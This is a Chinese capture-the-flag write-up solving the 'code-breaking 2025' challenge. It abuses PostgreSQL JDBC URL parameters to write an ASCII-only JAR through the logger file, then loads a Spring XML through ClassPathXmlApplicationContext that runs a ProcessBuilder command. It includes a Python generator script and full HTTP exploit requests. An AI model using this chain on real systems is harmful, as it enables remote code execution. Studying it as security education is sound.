ascii-jar首次操刀解决code-breaking 2025 2025code-breaking:https://github.com/phith0n/code-breaking/tree/master/2025
可以打postgresql JDBC Attack
但是不出网情况下写文件是利用如下payload。
看起来只能写可见字符,如果进行URL编码的话,就能写二进制字符串。
虽然是达到了任意写文件的目的,但是目标环境是个springboot项目,打包成fatJAR的形式运行,所以没办法直接写JSP
同时,postgresql JDBC Attack还有一种利用手法就是利用ClassPathXmlApplicationContext 进行spEL注入。因为不能出网的原因受到限制。
于是我们想办法写xml,然后用ClassPathXmlApplicationContext去加载,但是xml前后不能有脏字符,如果有脏字符会会报错The processing instruction target matching "[xX][mM][lL]" is not allowed.
。从postgresql JDBC Attack的参数来看,loggerFile显然是通过日志写文件,都不用进行分析,前后一定会有很多脏数据,报错数据也会写进去。
我们可控的部分只有如下部分。
众所周知,ClassPathXmlApplicationContext指定加载xml的路径可以是个jar:file:///协议。
为了绕过脏数据的限制,想到用ascii-jar将要加载的XML打包并写入一个zip格式的数据包,然后以jar:/path/to/payload.zip!/META-INF/resources/poc.xml
的形式进行加载。
哎,现在有同学可能就要问了:这样写入的ZIP包数据前后不是也有脏数据吗?
根据以下分析,jar实际上就是zip格式,JAR被类加载器加载时,必须有中央目录项和EOCD块。而ZIP包前后不仅可以容纳脏数据,而且甚至可以不需要中央目录项和EOCD块
https://godownio.github.io/2025/04/21/2022rwctf-desperate-cat-xue-xi-zi-fu-chuan-xie-jar-wen-jian-he-zang-shu-ju-rao-guo/#%E8%A7%A3%E6%B3%952%EF%BC%9AASCII-JAR%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0
而Spring 的 ClassPathXmlApplicationContext("classpath:/META-INF/resources/poc.xml")
走的是标准的 ClassLoader.getResourceAsStream()
路径。它根本不关心这个 JAR 是不是“合格的 Java JAR”,它只需要找到 META-INF/resources/poc.xml
在 zip 结构里的位置,并读取到它的内容
WP 按理说直接对poc.xml进行压缩后URL编码上传即可,但是org.postgresql.util.URLCoder#decode
解析JDBC URL如下:以UTF解码
ZIP是二进制格式,里面一定包含非ASCII字节
UTF-8 向后兼容 ASCII,0x00–0x7F 的字节在 UTF-8 中就是合法的单字节字符,不需要多字节编码,也不会触发错误。
利用ascii-jar构造ascii字符范围内的jar包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from __future__ import print_functionimport timefrom compress import *allow_bytes = [] disallowed_bytes = [38 ,60 ,39 ,62 ,34 ,40 ,41 ] for b in range (0 ,128 ): if b in disallowed_bytes: continue allow_bytes.append(b) if __name__ == '__main__' : padding_char = 'A' raw_filename = 'poc.xml' zip_entity_filename = 'META-INF/resources/poc.xml' jar_filename = 'ascii02.jar' num = 1 while True : javaCode = """<?xml version="1.0" encoding="UTF-8"?> <!-- {PADDING_DATA} --> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list> <value>touch</value> <value>/tmp/success.txt</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans> """ padding_data = padding_char * num javaCode = javaCode.replace("{PADDING_DATA}" , padding_data) f = open (raw_filename, 'w' ) f.write(javaCode) f.close() time.sleep(0.1 ) raw_data = bytearray (open (raw_filename, 'rb' ).read()) compressor = ASCIICompressor(bytearray (allow_bytes)) compressed_data = compressor.compress(raw_data)[0 ] crc = zlib.crc32(raw_data) % pow (2 , 32 ) st_crc = struct.pack('<L' , crc) st_raw_data = struct.pack('<L' , len (raw_data) % pow (2 , 32 )) st_compressed_data = struct.pack('<L' , len (compressed_data) % pow (2 , 32 )) st_cdzf = struct.pack('<L' , len (compressed_data) + len (zip_entity_filename) + 0x1e ) b_crc = isAllowBytes(st_crc, allow_bytes) b_raw_data = isAllowBytes(st_raw_data, allow_bytes) b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes) b_cdzf = isAllowBytes(st_cdzf, allow_bytes) if b_crc and b_raw_data and b_compressed_data and b_cdzf: print ('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}' .format (b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char)) output = open (jar_filename, 'wb' ) output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode())) print ('[+] Generate {0} success' .format (jar_filename)) break else : print ('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}' .format (b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char)) num = num + 1
注意xml加脏字符的形式不太一样,不过加到注释里就OK
利用yakit对文件URL编码
上传
1 2 3 4 5 6 7 8 9 10 11 12 POST /jdbc?url={{urlenc(jdbc:postgresql:///?a=)}} HTTP/1.1 Host : localhost:8080Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateUpgrade-Insecure-Requests : 1Priority : u=0, iAccept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Content-Type : application/x-www-form-urlencodedContent-Length : 164url =%26 loggerLevel%3 DDEBUG%26 loggerFile%3 D%2 Fapp%2 Fascii02.jar%26 PK%03 %04 %0 A%00 %00 %00 %08 %00 %00 %00 %00 %00 %0 FU%1 BV%1 E%04 %00 %00 A%03 %00 %00 %1 A%00 %00 %00 META-INF%2 Fresources%2 Fpoc.xmlD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswWt0GDDwGpDwwwGDtttwGwDtDDtGtDwGtpt3wGwG33333s03333sDDfBDN~%7 F%5 BkBo%5 DWwSG%7 BnRzJZRB%5 D%7 BMGmS%7 BCnREyQrVR~%5 E%7 C%5 CNbrrBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABrr%5 E%7 C%5 CNu%5 DU%7 BwB%7 F%5 Bk%7 BwnRcOOgvjj___JwgWS%7 BC%7 DWU%5 B%5 D_GWKJGWCjwMc%5 D%5 BUju%5 DU%7 BwRB%7 F%5 Bk%7 Bwv%7 FwSnRcOOgvjj___J_fJGWCjFZZzjeIqYMc%5 D%5 BUrS%7 BwOU%7 BM%5 DRB%7 FwSvwMc%5 D%5 BUqGMUOSG%7 BnRBcOOgvjj___JwgWS%7 BC%7 DWU%5 B%5 D_GWKJGWCjwMc%5 D%5 BUju%5 DU%7 BwBcOOgvjj___JwgWS%7 BC%7 DWU%5 B%5 D_GWKJGWCjwMc%5 D%5 BUju%5 DU%7 BwjwgWS%7 BCru%5 DU%7 BwJ%7 FwmR%5 E%7 C%5 CBBBBNu%5 DU%7 BBSmnRguRBMkUwwnRsUoUJkU%7 BCJiWGM%5 Dww%21 D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAt33WDDttGDtGDwGpDDwG03sDwwGwGtwwtwwwGG33333wwG03333GDdFPgCcMm%5 B~Eb%5 C%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 EYuKs%7 BG%5 BguGK%5 Bqe%5 B%5 DEb%5 C%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 EYcC%7 BGEb%5 C%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 EYWecgmEGKgu%7 DYiWecgmEb%5 C%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 EYWecgmEiGSki%7 Bguum%7 B%7 BIGOGYiWecgmEb%5 C%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 EYicC%7 BGEb%5 C%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 EYiuKs%7 BG%5 BguGK%5 Bqe%5 B%5 DEb%5 C%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 EYk%5 BKkm%5 BGo%5 EseSmy~w%7 DeGmWm%5 B~%5 EWecgmy~A_kUI%7 BGe%5 BGaQ%7 F~iEb%5 C%5 E%5 E%5 E%5 EYiUmesEb%5 CYiUmes%7 BEb%5 C%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%5 E%1 EPK%01 %02 %00 %00 %0 A%00 %00 %00 %08 %00 %00 %00 %00 %00 %0 FU%1 BV%1 E%04 %00 %00 A%03 %00 %00 %1 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 META-INF%2 Fresources%2 Fpoc.xmlPK%05 %06 %00 %00 %00 %00 %00 %00 %01 %00 H%00 %00 %00 V%04 %00 %00 %00 %00
之所以get和post分别传一个url串,是为了利用特性绕过getParamter,这样在getParameter得到jdbc:postgresql:///?a=
,而jdbc路由得到的是get+post拼接的串,见https://godownio.github.io/2025/04/17/spel-de-bu-chu-wang-li-yong/#code-breaking2025-wp
然后利用ClassPathXmlApplicationContext加载jar包里的poc.xml
1 2 3 4 5 6 7 8 9 10 11 12 POST /jdbc?url={{urlenc(jdbc:postgresql:///?a=)}} HTTP/1.1 Host : localhost:8080Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateUpgrade-Insecure-Requests : 1Priority : u=0, iAccept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Content-Type : application/x-www-form-urlencodedContent-Length : 141url= {{urlenc (&socketFactory =org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg =jar:file:///app/ascii02.jar!/META-INF/resources/poc.xml)}}
执行成功
把上传后的jar包扒下来,可以看到一堆报错日志,但是不影响